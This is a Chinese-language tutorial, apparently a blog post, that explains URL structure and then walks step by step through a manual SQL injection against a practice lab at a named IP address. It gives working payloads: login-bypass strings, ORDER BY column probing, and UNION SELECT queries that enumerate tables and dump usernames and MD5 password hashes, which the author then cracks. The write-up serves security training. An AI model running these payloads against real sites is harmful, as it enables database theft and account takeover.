URL详解和渗透之SQL注入

渗透之SQL注入等相关知识整理

         WEB注入，就是在网页中寻找相应得注点，如在页头、logo、栏目页、超链接等。当找到相应的注点，接下来就是进入数据库判断登录密码等获取对应的权限，想要完场这些，首先要弄懂的是URL链接语法，下面就是HTTP网页的URL的详细介绍：
1. HTTP网页URL链接语法介绍
HTTP简介:
         HTTP协议是Hyper Text Transfer Protocol（超文本传输协议）的缩写,是用于从万维网（WWW:World Wide Web ）服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据（HTML 文件, 图片文件, 视频、JS效果等）。
         HTTP是一个属于应用层的面向对象的协议，由于其简捷、快速的方式，适用于分布式超媒体信息系统。
         HTTP协议工作于客户端-服务端架构为上。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后，向客户端发送响应信息。
         HTTP使用统一资源标识符（Uniform Resource Identifiers, URI）来传输数据和建立连接。URL是一种特殊类型的URI，包含了用于查找某个资源的足够的信息
URL,全称是UniformResourceLocator, 中文叫统一资源定位符,是互联网上用来标识某一处资源的地址。以下面这个URL为例，介绍下普通URL的各部分组成：
URL简介：
URL所包含的部分：
如：https://editor.csdn.net/md?not_checkout=1&articleId=110792100

1.协议：该URL的协议为“http：”，这代表网页使用的是HTTP协议。在Internet中可以使用多种协议，如HTTP，FTP等等本例中使用的是HTTP协议。在"HTTP"后面的“//”为分隔符
例子：file 资源是本地计算机上的文件。格式file:///，注意后边应是三个斜杠。
ftp 通过 FTP访问资源。格式 FTP://
gopher 通过 Gopher 协议访问该资源。
http 通过 HTTP 访问该资源。 格式 HTTP://
https 通过安全的 HTTPS 访问该资源。 格式 HTTPS://
mailto 资源为电子邮件地址，通过 SMTP 访问。 格式 mailto:
MMS 通过 支持MMS（流媒体）协议的播放该资源。（代表软件：Windows Media Player）格式 MMS://
ed2k 通过 支持ed2k（专用下载链接）协议的P2P软件访问该资源。（代表软件：电驴） 格式 ed2k://
Flashget 通过 支持Flashget:（专用下载链接）协议的P2P软件访问该资源。（代表软件：快车） 格式 Flashget://
thunder 通过 支持thunder（专用下载链接）协议的P2P软件访问该资源。（代表软件：迅雷） 格式 thunder://
news 通过 NNTP 访问该资源。
2.域名或主机：URL的域名部分为“editor.csdn.net”。一个URL中，也可以使用IP地址作为域名使用，有时，在主机名前也可以包含连接到服务器所需的用户名和密码（格式：username:password@hostname）
用户名和密码：很多服务器都要求输入用户名和密码才会允许用户访问数据，如FTP服务器。
例子：ftp://joe:joepasswd@ftp.prep.edu/pub/name
joe是用户名、joepasswd是密码
3.端口部分：跟在域名后面的是端口，域名和端口之间使用“:”作为分隔符。端口不是一个URL必须的部分，如果省略端口部分，将采用默认端口
例子：很多HTTP的默认端口号是80。比如，130.32.12.34:800，这里的IP地址是主机名，端口是800
4.虚拟目录部分：从域名后的第一个“/”开始到最后一个“/”为止，是虚拟目录部分。虚拟目录也不是一个URL必须的部分。
5.文件名部分：从域名后的最后一个“/”开始到“？”为止，是文件名部分，如果没有“?”,则是从域名后的最后一个“/”开始到“#”为止，是文件部分，如果没有“？”和“#”，那么从域名后的最后一个“/”开始到结束，都是文件名部分。
例子：本例中的文件名是“md”。文件名部分也不是一个URL必须的部分，如果省略该部分，则使用默认的文件名index.htm
6.锚部分：从“#”开始到最后，都是锚部分。
7.参数部分：从“？”开始到“#”为止之间的部分为参数部分，又称搜索部分、查询部分。
2. SQL注入
1、SQL注入步骤
a)寻找注入点，构造特殊的语句
传入SQL语句可控参数分为两类

1. 数字类型，参数不用被引号括起来，如?id=1
2. 其他类型，参数要被引号扩起来,如?name=“phone”
   b)用户构造SQL语句(如：‘or 1=1#；admin’#（这个注入又称PHP的万能密码，是已知用户名的情况下，可绕过输入密码）以后再做解释)
   c)将SQL语句发送给DBMS数据库
   d)DBMS收到返回的结果，并将该请求解释成机器代码指令，执行必要得到操作
   e)DBMS接受返回结果，处理后，返回给用户
   因为用户构造了特殊的SQL语句，必定返回特殊的结果(只要你的SQL语句够灵活)
   SQL手工注入
   寻找注入点
   由于平台上只有一个链接并且该链接有？id=1—基本判定为注入点
   尝试注入 and 1=1 and 1=2
   1=1无报错 1=2有报错 确认此处有SQL注入漏洞

查找闭合方式
http://219.153.49.228:48091/new_list.php?id=1 #
http://219.153.49.228:48091/new_list.php?id=1 --+
发现无报错，确认该注入点没有闭合方式

使用order by 查询该表有几个字段
http://219.153.49.228:48091/new_list.php?id=1 order by 1
http://219.153.49.228:48091/new_list.php?id=1 order by 2
http://219.153.49.228:48091/new_list.php?id=1 order by 3
http://219.153.49.228:48091/new_list.php?id=1 order by 4
http://219.153.49.228:48091/new_list.php?id=1 order by 5 #报错 说明该表有4个字段

使用union查询显注点（将id=-1 使它永远为假，避免影响select 1,2,3,4）
http://219.153.49.228:48091/new_list.php?id=-1 union select 1,2,3,4
发现2,3为显注点

查询数据库和数据库版本(将2,3替换成相对应的语句)
http://219.153.49.228:48091/new_list.php?id=-1 union select 1,database(),@@datadir,4得到当前的数据库为mozhe_Discuz_StormGroup,数据库版本为5.7.22-0ubuntu0.16.04.1，
分析得到 操作系统:ubuntu 16.04.1,数据库:mysql5.7.22

查询mysql元数据库存放的所有的表
http://219.153.49.228:48091/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema= ‘mozhe_Discuz_StormGroup’
得到表StormGroup_member,notice

查询mysql元数据库StormGroup_member表中存放的所有的字段
http://219.153.49.228:48091/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘StormGroup_member’
得到该表的所有字段id,name,password,status

查询可疑字段的值—StormGroup_member----name password
http://219.153.49.228:48091/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member
得到账号和md5加密后的值
mozhe:356f589a7df439f6f744ff19bb8092c0,mozhe:a719f0335ba451bd34e50b2b96dd6909
cmd5.com解密得到mozhe:dscan13 mozhe:458428
一一爆出得到KEY

1.进入滚动条处尝试注入

2.输入？id=1 and 1=1/1=2 发现存在注入点

3.使用order by查询字段数，字段数为4

4.输入?id=1 and 1=2 union select 1,2,3,4。发现回显位置为2，3

5.输入？id=1 and 1=2 union select 1,database(),3,4爆出数据库，得到数据库为mozhe_Discuz_StormGroup

6.输入？id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()得到表StormGroup_member,notice

7.输入？id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name = “StormGroup_member” 得到字段id,name,password,status

8.脱库union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

9.发现用户mozhe,mozhe,密码为md5加密，解密获得密码，第一个用户无法登录，另一个可以

10.登录后成功获得key